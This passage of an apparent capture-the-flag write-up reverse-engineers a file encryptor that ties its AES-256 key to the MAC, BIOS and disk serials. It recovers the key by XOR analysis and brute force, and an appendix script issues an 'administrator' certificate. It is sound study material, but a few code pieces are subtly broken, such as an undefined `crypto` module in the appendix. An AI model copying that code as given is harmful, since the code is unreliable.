    free(mac_addr);
    if (!bVar5) goto LAB_00401252;
  }
  if (((buf1 != (undefined8 *)0x0) && (BVar1 = CryptHashData(hHash,(BYTE *)buf1,0xe,0), BVar1 != 0))
     && (BVar1 = CryptDeriveKey(hProv,0x6610,hHash,0,&hKey), BVar1 != 0
                    // CALG_AES_256 = 0x6610)) {
    input_file_handle = get_file_handle(file_name,0x80000000,3);
    total_bytes_read = 0;
    if (input_file_handle != (HANDLE *)0x0) {
      temp = (ushort *)0x0;
      input_file_size = GetFileSize(*input_file_handle,(LPDWORD)0x0);
                    // align size to 16 bytes
      _Size = (input_file_size & 0xfffffff0) + 0x10;
      output_buf = (char *)allocate(_Size);
      if (output_buf != (char *)0x0) {
        offset = 0;
        read_buf._0_4_ = 0;
        read_buf._4_4_ = 0;
        read_buf._8_4_ = 0;
        read_buf._12_4_ = 0;
        iVar4 = ReadFile(*input_file_handle,read_buf,0x10,&bytes_read,(LPOVERLAPPED)0x0);
        while ((iVar4 != 0 && (bytes_read != 0))) {
          total_bytes_read = total_bytes_read + bytes_read;
          if (total_bytes_read == input_file_size) {
            temp = (ushort *)0x1;
          }
          BVar1 = CryptEncrypt(hKey,0,(BOOL)temp,0,(BYTE *)read_buf,&bytes_read,0x10);
          if (BVar1 == 0) {
            free(output_buf);
            goto LAB_004010b6;
          }
          copy_buffer((undefined8 *)(output_buf + offset),(undefined8 *)read_buf,bytes_read);
          offset = offset + bytes_read;
          read_buf._0_4_ = 0;
          read_buf._4_4_ = 0;
          read_buf._8_4_ = 0;
          read_buf._12_4_ = 0;
          iVar4 = ReadFile(*input_file_handle,read_buf,0x10,&bytes_read,(LPOVERLAPPED)0x0);
        }
        *output_size = _Size;
      }
    }
  }
LAB_004010b6:
  CryptReleaseContext(hProv,0);
  if (hProv != 0) {
    CryptReleaseContext(hProv,0);
  }
  if (hHash != 0) {
    CryptDestroyHash(hHash);
  }
  if (buf1 == (undefined8 *)0x0) {
    free((void *)0x0);
  }
  if (hKey != 0) {
    CryptDestroyKey(hKey);
  }
  if (input_file_handle != (HANDLE *)0x0) {
    CloseHandle(*input_file_handle);
    free(input_file_handle);
  }
  pcVar2 = (char *)FUN_00401f78();
  return pcVar2;
}

It starts by calling WinAPI functions to setup the crypto context. It then:

  1. Allocates a buffer of length 0xE
  2. Copies the machine's MAC address into the buffer
  3. Calls the wmic bios get serialnumber command to read the BIOS serial number
  4. Copies the first four bytes to the buffer
  5. Calls the wmic diskdrive get serialnumber command to read the disk drive's serial number
  6. Copies the first four bytes of the result to the buffer
  7. Uses the buffer to derive key material for AES_256 encryption
  8. Encrypts the buffer with AES_256
  9. Returns the encrypted buffer and size

Since the function uses standard AES-256 in order to encrypt the buffer, it looks like we won't be able to find any shortcuts when attempting to decrypt it - We'll have to reconstruct the same key and use AES-256 decryption.

Back to encrypt again to see what happens with the result:

  if (encrypted_buf != (char *)0x0) {
    puVar3 = (ushort *)execute_command(L"wmic diskdrive get serialnumber");
    if (puVar3 == (ushort *)0x0) {
      diskdrive_serial = (undefined4 *)0x0;
    }
    else {
      diskdrive_serial = extract_serial(puVar3);
      free(puVar3);
      if (diskdrive_serial != (undefined4 *)0x0) {
        dd_serial_dword = lchar_to_dword((ushort *)diskdrive_serial);
        buffer = (undefined4 *)allocate(encrypted_size + 2992);
        if (buffer != (undefined4 *)0x0) {
          *buffer = 0x531b008a;
          puVar3 = (ushort *)execute_command(L"wmic bios get serialnumber");
          if (puVar3 != (ushort *)0x0) {
            puVar4 = extract_serial(puVar3);
            free(puVar3);
            if (puVar4 != (undefined4 *)0x0) {
              bios_serial_dword = lchar_to_dword((ushort *)puVar4);
              garble_buf(garble_buf,bios_serial_dword);
              src_offset = 0;
              limit = 625;
              counter = 0;
              uVar8 = (int)encrypted_size / 0x2e3 + ((int)encrypted_size >> 0x1f);
              p_current_src = garble_buf;
              p_current_dest = garble_buf_copy;
              while (limit != 0) {
                limit = limit + -1;
                *p_current_dest = *p_current_src;
                p_current_src = p_current_src + 1;
                p_current_dest = p_current_dest + 1;
              }
              iVar5 = (uVar8 >> 0x1f) + uVar8;
              uVar8 = iVar5 + 1;
                    // copy padded md5 starting from buf[4] (8 dwords)
              iVar7 = 8;
              p_current_padded_md5 = padded_md5;
              puVar4 = buffer;
              while (puVar4 = puVar4 + 1, iVar7 != 0) {
                iVar7 = iVar7 + -1;
                *puVar4 = *p_current_padded_md5;
                p_current_padded_md5 = p_current_padded_md5 + 1;
              }
              iVar7 = 0x24;
              iVar5 = encrypted_size + iVar5 * -0x2e3;
              do {
                uVar6 = other_garble(garble_buf_copy);
                *(uint *)(iVar7 + (int)buffer) = uVar6;
                if (counter == iVar5) {
                  uVar8 = uVar8 - 1;
                }
                copy_buffer((undefined8 *)(iVar7 + 4 + (int)buffer),
                            (undefined8 *)(encrypted_buf + src_offset),uVar8);
                sVar1 = encrypted_size;
                counter = counter + 1;
                src_offset = src_offset + uVar8;
                iVar7 = iVar7 + 4 + uVar8;
              } while (counter < 739);
              if (src_offset != encrypted_size) {
                print("NOT read enaugh bytes %d , %d");
              }
              iVar5 = sVar1 + 2988;
              *output_len = iVar5;
              iVar7 = 0;
              if (0 < iVar5) {
                do {
                  *(uint *)(iVar7 + (int)buffer) = *(uint *)(iVar7 + (int)buffer) ^ dd_serial_dword;
                  iVar7 = iVar7 + 4;
                } while (iVar7 < iVar5);
              }
              goto LAB_00401895;
            }
          }
          free(buffer);
        }
      }
    }
  }

encrypt proceeds by:

  1. Calling wmic diskdrive get serialnumber to get the disk drive serial again

  2. Allocating an output buffer of size encrypted_size + 2992

  3. Setting the first DWORD in the buffer to the magic value 0x531b008a

  4. Calling wmic bios get serialnumber to get the BIOS serial number again

  5. Calling some kind of user-defined hash(?) function garble_buf(garble_buf,bios_serial_dword), where garble_buf is a local buffer of size 625 * sizeof(uint) and bios_serial_dword is the first four bytes of the BIOS serial.

  6. Making a copy of garble_buf in another local buffer of the same size (garble_buf_copy)

  7. Copying the padded MD5 into the buffer, after the magic value

  8. Starting a loop which:

    1. Calls another hash(?) function other_garble(garble_buf_copy) to receive a 4-byte hash(?) value
    2. Copies this value to the buffer
    3. Copies a chunk of the encrypted text to the buffer
    4. (At some point, changes the chunk size by decrementing it)

After the encrypted buffer is copied to the output buffer (chunk by chunk, where in between we have garbled DWORD separators), the buffer is XORed using dd_serial_dword (the first four bytes of the disk drive).

The buffer is later returned to the main function, which writes it to the output file.

The garbling functions are defined as:

void __fastcall garble_buf(undefined4 *buffer,undefined4 initial_value)

{
  *buffer = initial_value;
  buffer[0x270] = 1;
  do {
    buffer[buffer[0x270]] = (buffer + buffer[0x270])[-1] * 0x17b5;
    buffer[0x270] = buffer[0x270] + 1;
  } while ((int)buffer[0x270] < 0x270);
  return;
}

uint __cdecl other_garble(uint *garbled_buf_copy)

{
  uint uVar1;
  int i;
  
  if ((0x26f < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
    if ((0x270 < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
      garble_buf(garbled_buf_copy,0x1105);
    }
    i = 0;
    while (i < 0xe3) {
      garbled_buf_copy[i] =
           (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
           garbled_buf_copy[i + 0x18d] ^
           *(uint *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
      i = i + 1;
    }
    while (i < 0x26f) {
      garbled_buf_copy[i] =
           (garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
           garbled_buf_copy[i + -0xe3] ^
           *(uint *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
      i = i + 1;
    }
    garbled_buf_copy[0x26f] =
         (garbled_buf_copy[0x26f] & 0x80000000 | *garbled_buf_copy & 0x7fffffff) >> 1 ^
         garbled_buf_copy[0x18c] ^ *(uint *)(&DAT_0041e8c0 + (*garbled_buf_copy & 1) * 4);
    garbled_buf_copy[0x270] = 0;
  }
  uVar1 = garbled_buf_copy[garbled_buf_copy[0x270]];
  garbled_buf_copy[0x270] = garbled_buf_copy[0x270] + 1;
  uVar1 = uVar1 >> 0xb ^ uVar1;
  uVar1 = (uVar1 & 0x13a58ad) << 7 ^ uVar1;
  uVar1 = (uVar1 & 0x1df8c) << 0xf ^ uVar1;
  return uVar1 >> 0x12 ^ uVar1;
}

garble_buf receives a buffer of size 0x271 * sizeof(uint) and an initial value (DWORD). It copies the initial value to the first DWORD of the array, and then uses it to fill the rest of the array with a derived value. buffer[0x270] is used as an index to the current array member that the function is working on.

other_garble takes the product of garble_buf and garbles it a bit more. According to the last few lines of the function, it looks like the bit shifting will cause the result to lose information, and therefore it might be impossible to use the result to reconstruct the original value.

Now that we've reviewed the main functionality, we can start our attempt to decrypt the file. The file we've received is called intel.txt.enc and is 38,924 bytes long.

It starts with the following content:

The last thing that happens is a XOR operation being applied to the file, so we should start by performing the opposite operation in order to recover the contents before the XOR. Since the first DWORD in the original buffer is a magic value (0x531b008a), we XOR the current value (0x632B30BA) with the magic value in order to recover the key used to XOR the file (which happens to be the first four bytes of the disk driver serial number):

>>> hex(0x632B30BA ^ 0x531b008a)
'0x30303030'

This is good, since we got a result which looks like ASCII (chr(0x30) = '0').

We can now use this value to un-XOR the complete file:

def readXorInt(f, xor):
    b = f.read(4)
    if not b:
        return None
    res = int.from_bytes(b, byteorder="little")  ^ xor
    return res

with open(output_filename, "rb") as f, open("phase1.bin", "wb") as o:
    dd_serial = readXorInt(f, MAGIC)
    o.write(dd_serial.to_bytes(4, byteorder="little"))
    while True:
        res = readXorInt(f, dd_serial)
        if res is None:
            break
        o.write(res.to_bytes(4, byteorder="little"))

The result:

The first 4 bytes are the magic value, and the 32 bytes that follow are the padded MD5:

00 09 04 09 0B 04 06 0B 07 03 0E 03 0A 0F 06 0F 05 0A 0F 0C 08 01 09 05 05 03 06 07 02 09 05 0C

If we remove the padding, the MD5 is:

0949b46b73e3af6f5afc81955367295c

We know that the MD5 is composed of FileName + MAC, and we know that FileName is (probably) intel.txt. We'd like to find the MAC address since it's used later on in the encryption key.

We can perform brute force in order to find a 6-byte value where MD5("intel.txt" + ??????) == 0949b46b73e3af6f5afc81955367295c, but that might take a while. Let's try to use what we know in order to reduce the search space.

  1. We know that the file was encrypted on a machine manufactured by "Or... Po... Ltd." (from the description)
  2. We know that MAC addresses are divided into two parts: The first three bytes are a manufacturer ID and the other three bytes are a unique device ID
  3. If we can identify the manufacturer, we can reduce the search space to three bytes.

A large list of MAC manufacturers and IDs can be found here. From that list, two seems to match the "Or... Po..." pattern:

8CF813 ORANGE POLSKA
001337 Orient Power Home Network Ltd.

Out of the two, the second options seems much more realistic, not only because it ends with "Ltd.", but also because it has the valuable ID of 1337.

Now we can brute force the remainder much faster:

mac_prefix = (0x00, 0x13, 0x37)
with open("phase1.bin", "rb") as f:
        readXorInt(f, 0) # Dummy read, we already have the dd_serial

        padded_md5 = bytearray()
        for i in range(4 * 2):
            dword = readXorInt(f, 0)
            padded_md5 += dword.to_bytes(4, byteorder='little')

        padded_md5 = binascii.hexlify(padded_md5)
        assert (padded_md5[::2] == b"0" * 32)
        md5 = padded_md5[1::2]
        print("MD5: {}".format(md5))
        mac = mac_prefix + find_md5(input_filename, mac_prefix, 3, md5)
        mac_hex = binascii.hexlify(bytes(mac))
        print ("MAC Address: {}".format(mac_hex))

The result:

Disk drive serial: 0x30303030
MD5: b'0949b46b73e3af6f5afc81955367295c'
MAC Address: b'0013378eab66'

Another piece of information we can extract is the length of the AES-256 encrypted buffer.

encrypted_size = 0;
encrypted_buf = do_encrypt((LPCWSTR)input_file_name,&encrypted_size);
//...
sVar1 = encrypted_size;
//...
iVar5 = sVar1 + 2988;
*output_len = iVar5;

The length of the output file is 2988 bytes larger than the length of the AES-256 input buffer (which is the size of the input file + AES block alignment).

encrypted_length = os.fstat(f.fileno()).st_size - 2988
print ("Length of encrypted message: {}".format(encrypted_length))

Now it's time to start to extract the ciphertext, while skipping the garbled DWORDs.

We know that immediately after the padded MD5 we have a garbled DWORD, then a chunk of ciphertext, then another garbled DWORD, a chunk of ciphertext and so on.

The chunk size is calculated as follows:

uVar8 = (int)encrypted_size / 0x2e3 + ((int)encrypted_size >> 0x1f);
//...
iVar5 = (uVar8 >> 0x1f) + uVar8;
uVar8 = iVar5 + 1;
//...
iVar5 = encrypted_size + iVar5 * -0x2e3;
//...
if (counter == iVar5) { // Happens within the copy loop
    uVar8 = uVar8 - 1;
}

If we calculate this for our encrypted size, we get:

>>> encrypted_size = 35936
>>> uVar8 = encrypted_size // 0x2e3 + (encrypted_size >> 0x1f)
>>> iVar5 = (uVar8 >> 0x1f) + uVar8
>>> uVar8 = iVar5 + 1
>>> iVar5 = encrypted_size + iVar5 * -0x2e3
>>> uVar8
49
>>> iVar5
464
​````

We use this to read the ciphertext:
​```python
def get_size_and_decrement_index(encrypted_length):
    size = encrypted_length // 0x2e3 + (encrypted_length >> 0x1f)
    decrement_index = (size >> 0x1f) + size
    size = decrement_index + 1
    decrement_index = encrypted_length + decrement_index * -0x2e3
    
    return (size, decrement_index)

ciphertext = bytearray()
bytes_read = 0
i = 0
size, decrement_index = get_size_and_decrement_index(encrypted_length)
while bytes_read < encrypted_length:
    if i == decrement_index:
        size -= 1
    garble = readXorInt(f, 0)
    ciphertext += f.read(size)
    bytes_read += size
    i += 1

Now we have the ciphertext, and almost all of the key. It's time to get the rest of the key and decrypt the text file.

The key is composed of:

MAC[0:6] + BIOS_SERIAL[0:4] + DISK_DRIVE_SERIAL[0:4]

We have the MAC address and the disk driver serial, how do we find the BIOS serial?

We'll, in this case we'll have to apply some brute force. The only other place where the BIOS serial is used is as the initial value for the garble_buf() function, which produces output that is consumed by other_garble() and at least on the surface seems irreversible. The result of other_garble() is a DWORD which serves as a delimiter for ciphertext chunks.

Instead of trying to build our way back from the garbled DWORD to the original initial value, let's work the other way around and try to find an initial value which will produce the garbled DWORD we see in the encrypted file.

The first DWORD starts at 0x24 and has the value of 0x00BB65FE.

We'll use the following C code to find the initial value that will produce it:

#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <stdint.h>
#include <assert.h>


uint32_t DAT_0041e8c0[] = { 0x00, 0x00, 0x00, 0x00, 0xdf, 0xb0, 0x08, 0x99 };

void garble_buf(uint32_t *buffer, uint32_t initial_value)

{
	*buffer = initial_value;
	buffer[0x270] = 1;
	do {
		buffer[buffer[0x270]] = (buffer + buffer[0x270])[-1] * 0x17b5;
		buffer[0x270] = buffer[0x270] + 1;
	} while ((int)buffer[0x270] < 0x270);
	return;
}

uint32_t other_garble(uint32_t *garbled_buf_copy)

{
	uint32_t uVar1;
	int i;

	if ((0x26f < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
		if ((0x270 < (int)garbled_buf_copy[0x270]) || ((int)garbled_buf_copy[0x270] < 0)) {
			garble_buf(garbled_buf_copy, 0x1105);
		}
		i = 0;
		while (i < 0xe3) {
			garbled_buf_copy[i] =
				(garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
				garbled_buf_copy[i + 0x18d] ^
				*(uint32_t *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
			i = i + 1;
		}
		while (i < 0x26f) {
			garbled_buf_copy[i] =
				(garbled_buf_copy[i] & 0x80000000 | garbled_buf_copy[i + 1] & 0x7fffffff) >> 1 ^
				garbled_buf_copy[i + -0xe3] ^
				*(uint32_t *)(&DAT_0041e8c0 + (garbled_buf_copy[i + 1] & 1) * 4);
			i = i + 1;
		}
		garbled_buf_copy[0x26f] =
			(garbled_buf_copy[0x26f] & 0x80000000 | *garbled_buf_copy & 0x7fffffff) >> 1 ^
			garbled_buf_copy[0x18c] ^ *(uint32_t *)(&DAT_0041e8c0 + (*garbled_buf_copy & 1) * 4);
		garbled_buf_copy[0x270] = 0;
	}
	uVar1 = garbled_buf_copy[garbled_buf_copy[0x270]];
	garbled_buf_copy[0x270] = garbled_buf_copy[0x270] + 1;
	uVar1 = uVar1 >> 0xb ^ uVar1;
	uVar1 = (uVar1 & 0x13a58ad) << 7 ^ uVar1;
	uVar1 = (uVar1 & 0x1df8c) << 0xf ^ uVar1;
	return uVar1 >> 0x12 ^ uVar1;
}

uint32_t buffer[0x271];

uint32_t get_garbled_output(uint32_t initial_value)
{
	uint32_t res;

	garble_buf(buffer, initial_value);
	res = other_garble(buffer);
	return res;
}

const char letters[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";

#define NELEMENTS(arr) (sizeof(arr) / sizeof(arr[0]))

int main(int argc, _TCHAR* argv[])
{
	DWORD i, j, k, l;
	DWORD num;

	CHAR* pNum = (CHAR*)&num;
	assert(get_garbled_output(0x46303952) == 0x098A04B2);

	if (argc < 2)
	{
		_tprintf(_TEXT("Usage: %s <initial_value>\n"), argv[0]);
		return 1;
	}

	DWORD target;
	target = _ttoi(argv[1]);

	_tprintf(_T("Searching for an initial value which would have produced the following value: %d (0x%x)\n"), target, target);

	DWORD limit = NELEMENTS(letters);
	for (i = 0; i < limit; ++i)
	{
		pNum[0] = letters[i];
		for (j = 0; j < limit; ++j)
		{
			pNum[1] = letters[j];
			for (k = 0; k < limit; ++k)
			{
				pNum[2] = letters[k];
				for (l = 0; l < limit; ++l)
				{
					pNum[3] = letters[l];
					if (get_garbled_output(num) == target) 
					{
						_tprintf(_T("0x%x\n"), num);
						return 0;
					}
				}

			}
		}
	}

	return 0;
}

A few comments about the code:

  1. garble_buf and other_garble are pretty much copy-paste from Ghidra's decompilation output.
  2. The code can be easily ported to Python but C returns the result much faster.
  3. Since we're talking about a serial number, we assume legal characters are mainly lowercase and uppercase letters, together with digits.

The code runs for a few seconds and outputs the following answer:

> FindGarbleInitVal.exe 12281342
Searching for an initial value which would have produced the following value: 12281342 (0xbb65fe)
0x61774d56

We finally have the key:

0x00, 0x13, 0x37, 0x8e, 0xab, 0x66, 0x56, 0x4d, 0x77, 0x61, 0x30, 0x30, 0x30, 0x30

Now we can decrypt the file:

#include "stdafx.h"
#include <stdio.h>
#include <tchar.h>
#include <windows.h>
#include <Wincrypt.h>
#include <stdint.h>
#include <assert.h>

#pragma comment(lib,"Crypt32.lib")

#define CHUNK_SIZE		(1024)
#define PASSWORD_LENGTH (14)

void PrintError(LPCTSTR error_string, DWORD error_code)
{
	_ftprintf(stderr, TEXT("\nAn error occurred in the program. \n"));
	_ftprintf(stderr, TEXT("%s\n"), error_string);
	_ftprintf(stderr, TEXT("Error number %x.\n"), error_code);
}

int main(int argc, _TCHAR* argv[])
{
	HANDLE hSourceFile		= INVALID_HANDLE_VALUE;

	HCRYPTPROV hProv		= NULL;
	HCRYPTKEY  hKey			= NULL;
	HCRYPTHASH hHash		= NULL;

	BYTE	password[PASSWORD_LENGTH];

	BYTE	read_buffer[CHUNK_SIZE + 1] = { 0 };
	LPTSTR	src_file_path;
	LPTSTR	base64_password;
	
	DWORD	file_size;
	DWORD	total_bytes_read = 0;
	DWORD	size_to_decrypt = 0;
	DWORD	password_length;

	BOOL	is_final_chunk = 1;

	if (argc < 3)
	{
		_tprintf(TEXT("Usage: %s <source file> <base64_password> [size_to_decrypt]\n"), argv[0]);
		return 1;
	}

	src_file_path	= argv[1];
	base64_password = argv[2];

	if (argc >= 4)
	{
		size_to_decrypt = _ttoi(argv[3]);
	}

	password_length = sizeof(password);
	if (CryptStringToBinary(base64_password, 0, CRYPT_STRING_BASE64, password, &password_length, NULL, NULL) != TRUE)
	{
		PrintError(TEXT("Invalid password!\n"), GetLastError());
		goto exit;
	}

	hSourceFile = CreateFile(src_file_path, FILE_READ_DATA,	FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	if (INVALID_HANDLE_VALUE == hSourceFile)
	{
		PrintError(TEXT("Error opening source file!\n"), GetLastError());
		goto exit;
	}

	file_size = GetFileSize(hSourceFile, NULL);
	if ( (size_to_decrypt <= 0) || (size_to_decrypt > file_size) )
	{
		size_to_decrypt = file_size;
	}

	if (CryptAcquireContext(&hProv, _T("DataSafeCryptContainer"), 0x0, 0x18, 0x50) != TRUE)
	{
		PrintError(TEXT("Error with CryptAcquireContextW!\n"), GetLastError());
		goto exit;
	}

	if (CryptAcquireContext(&hProv, _T("DataSafeCryptContainer"), 0x0, 0x18, 0x48) != TRUE)
	{
		PrintError(TEXT("Error with CryptAcquireContextW!\n"), GetLastError());
		goto exit;
	}

	if (CryptCreateHash(hProv, 0x8003, 0, 0, &hHash) != TRUE)
	{
		PrintError(TEXT("Error with CryptCreateHash!\n"), GetLastError());
		goto exit;
	}

	if (CryptHashData(hHash, (BYTE *)password, 0xe, 0) != TRUE)
	{
		PrintError(TEXT("Error with CryptHashData!\n"), GetLastError());
		goto exit;
	}

	if (CryptDeriveKey(hProv, 0x6610, hHash, 0, &hKey) != TRUE)
	{
		PrintError(TEXT("Error with CryptDeriveKey!\n"), GetLastError());
		goto exit;
	}
	
	while (total_bytes_read < size_to_decrypt)
	{
		DWORD bytes_to_read = min(CHUNK_SIZE, size_to_decrypt - total_bytes_read);
		DWORD bytes_read;
		DWORD data_length;

		if (ReadFile(hSourceFile, read_buffer, CHUNK_SIZE, &bytes_read, NULL) != TRUE)
		{
			PrintError(TEXT("Error reading source file!\n"), GetLastError());
			goto exit;
		}

		is_final_chunk = total_bytes_read + bytes_read == file_size;
		data_length = bytes_read;
		if (CryptDecrypt(hKey, 0, is_final_chunk, 0, read_buffer, &data_length) != TRUE)
		{
			PrintError(TEXT("Error decrypting file!\n"), GetLastError());
			goto exit;
		}
		_tprintf("%s", read_buffer);
		total_bytes_read += bytes_read;
	}

	_tprintf("\n");

exit:
	if (hKey != NULL)
	{
		CryptDestroyHash(hKey);
	}

	if (hHash != NULL)
	{
		CryptDestroyHash(hHash);
	}

	if (hProv != NULL)
	{
		CryptReleaseContext(hProv, 0);
	}

	if (hSourceFile != INVALID_HANDLE_VALUE)
	{
		CloseHandle(hSourceFile);
	}

    return 0;
}

The final script to decrypt the encrypted file is:

import os
import string
import base64
import hashlib
import binascii
import itertools
import subprocess
from simple_cache import cache_result

MAGIC = 0x531b008a

input_filename = "intel.txt"
output_filename = "intel.txt.enc"
mac_prefix = (0x00, 0x13, 0x37)

@cache_result
def find_md5(prefix1, prefix2, num_missing_chars, expected_md5):
    expected_md5 = expected_md5.decode("ascii")
    prefix = bytearray(prefix1, "ascii") + bytearray(prefix2)
    for item in itertools.product([x for x in range(256)], repeat=num_missing_chars):
        hash = hashlib.md5(prefix + bytearray(item)).hexdigest()
        if hash == expected_md5:
            return item

    return None

def readXorInt(f, xor):
    b = f.read(4)
    if not b:
        return None
    res = int.from_bytes(b, byteorder="little")  ^ xor
    return res

def get_size_and_decrement_index(encrypted_length):
    size = encrypted_length // 0x2e3 + (encrypted_length >> 0x1f)
    decrement_index = (size >> 0x1f) + size
    size = decrement_index + 1
    decrement_index = encrypted_length + decrement_index * -0x2e3
    
    return (size, decrement_index)


def main():
    with open(output_filename, "rb") as f, open("phase1.bin", "wb") as o:
        dd_serial = readXorInt(f, MAGIC)
        print ("Disk drive serial: {}".format(hex(dd_serial)))
        
        o.write(MAGIC.to_bytes(4, byteorder="little"))
        while True:
            res = readXorInt(f, dd_serial)
            if res is None:
                break
            o.write(res.to_bytes(4, byteorder="little"))


    with open("phase1.bin", "rb") as f, open("phase2.bin", "wb") as o:
        encrypted_length = os.fstat(f.fileno()).st_size - 2988
        print ("Length of encrypted message: {}".format(encrypted_length))

        readXorInt(f, 0) # Dummy read, we already have the dd_serial

        padded_md5 = bytearray()
        for i in range(4 * 2):
            dword = readXorInt(f, 0)
            padded_md5 += dword.to_bytes(4, byteorder='little')
        padded_md5 = binascii.hexlify(padded_md5)
        assert (padded_md5[::2] == b"0" * 32)
        md5 = padded_md5[1::2]
        print("MD5: {}".format(md5))
        mac = mac_prefix + find_md5(input_filename, mac_prefix, 3, md5)
        mac_hex = binascii.hexlify(bytes(mac))
        print ("MAC Address: {}".format(mac_hex))

        garbles = []
        ciphertext = bytearray()
        bytes_read = 0
        i = 0

        size, decrement_index = get_size_and_decrement_index(encrypted_length)

        while bytes_read < encrypted_length:
            if i == decrement_index:
                size -= 1
            garbles.append(readXorInt(f, 0))
            
            ciphertext += f.read(size)
            bytes_read += size
            i += 1
            
        o.write(ciphertext)

    bios_serial_search = subprocess.check_output([r"FindGarbleInitVal.exe", str(garbles[0])]).decode("ascii")
    print (bios_serial_search)
    bios_serial = int(bios_serial_search.split("\n")[1], 0)

    password = bytes(mac) + bios_serial.to_bytes(4, byteorder='little') + dd_serial.to_bytes(4, byteorder='little')
    print ("Password: {}".format(binascii.hexlify(password)))

    plaintext_chunk = subprocess.check_output([r"CryptDecrypt.exe", 
                                               "phase2.bin", 
                                               base64.b64encode(password).decode("ascii"),
                                               "1024"])
    print ("Output: \n")
    print (plaintext_chunk.decode("ascii"))



if __name__ == "__main__":
    main()

The output (we cut the plaintext at 1024 bytes since otherwise we get ~36K of padding):

python solve.py
Disk drive serial: 0x30303030
Length of encrypted message: 35936
MD5: b'0949b46b73e3af6f5afc81955367295c'
MAC Address: b'0013378eab66'
Searching for an initial value which would have produced the following value: 12281342 (0xbb65fe)
0x61774d56

Password: b'0013378eab66564d776130303030'
Output:

OUR BIG SECRET IS AT 9f96b2ea3bf3432682eb09b0bd213752.xyz/be76e422d6ae42138d73f664e6bb9054
PADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGPADDINGP

Appendix A

Since it's a nightmare using the OpenSSL command line, the following script can be used to sign certificates in a much more intuitive way:

import datetime

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes

def create_self_signed_cert():
     # create a key pair
     k = crypto.PKey()
     k.generate_key(crypto.TYPE_RSA, 2048)

     # create a self-signed cert
     cert = crypto.X509()
     cert.get_subject().O = 'Org'
     cert.get_subject().OU = 'Org Unit'*50
     cert.get_subject().CN = 'Common Name'
     cert.set_serial_number(1000)
     cert.gmtime_adj_notBefore(0)
     cert.gmtime_adj_notAfter(10*365*24*60*60)
     cert.set_issuer(cert.get_subject())
     cert.set_pubkey(k)
     cert.sign(k, 'sha256')

     open("self_signed.pem", "w").write(
         crypto.dump_certificate(crypto.FILETYPE_PEM, cert))
     open("self_signed_key.pem", "w").write(
         crypto.dump_privatekey(crypto.FILETYPE_PEM, k))

leaf_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=4096,
    backend=default_backend())

with open("leaf_key.pem", "wb") as f:
    f.write(leaf_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.TraditionalOpenSSL,
        encryption_algorithm=serialization.BestAvailableEncryption(b"pass"),))

with open("intermediate_key.pem", "rb") as key_file:
    ca_key = serialization.load_pem_private_key(
            key_file.read(),
            password=None,
            backend=default_backend())

cert_req = x509.Name([
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Evil Corporation"),
        x509.NameAttribute(NameOID.COMMON_NAME, u"administrator")
    ])

with open("intermediate.pem", "rb") as cer_file:
    ca_cert = x509.load_pem_x509_certificate(cer_file.read(), default_backend())


backend = default_backend()

cert = x509.CertificateBuilder().subject_name(
    cert_req
).issuer_name(
    ca_cert.subject
).public_key(
    leaf_key.public_key()
).serial_number(
    x509.random_serial_number()
).not_valid_before(
    datetime.datetime.utcnow()
).not_valid_after(
    datetime.datetime.utcnow() + datetime.timedelta(days=356)
).add_extension(
    x509.BasicConstraints(ca=False, path_length=None),
    critical=False,
).add_extension(
    x509.SubjectKeyIdentifier.from_public_key(leaf_key.public_key()),
    critical=False,
).add_extension(
    x509.AuthorityKeyIdentifier.from_issuer_public_key(ca_key.public_key()),
    critical=False,
).sign(ca_key, hashes.SHA256(), backend)
# Write our certificate chain to disk.
#with open("certificate{}.pem".format(i), "wb") as f:
#    f.write(cert_arr[i].public_bytes(serialization.Encoding.PEM) + ''.join([cert_arr[j].public_bytes(serialization.Encoding.PEM) for j in range(i-1, -1, -1)]))

with open("leaf.pem", "wb") as f:
    f.write(cert.public_bytes(serialization.Encoding.PEM))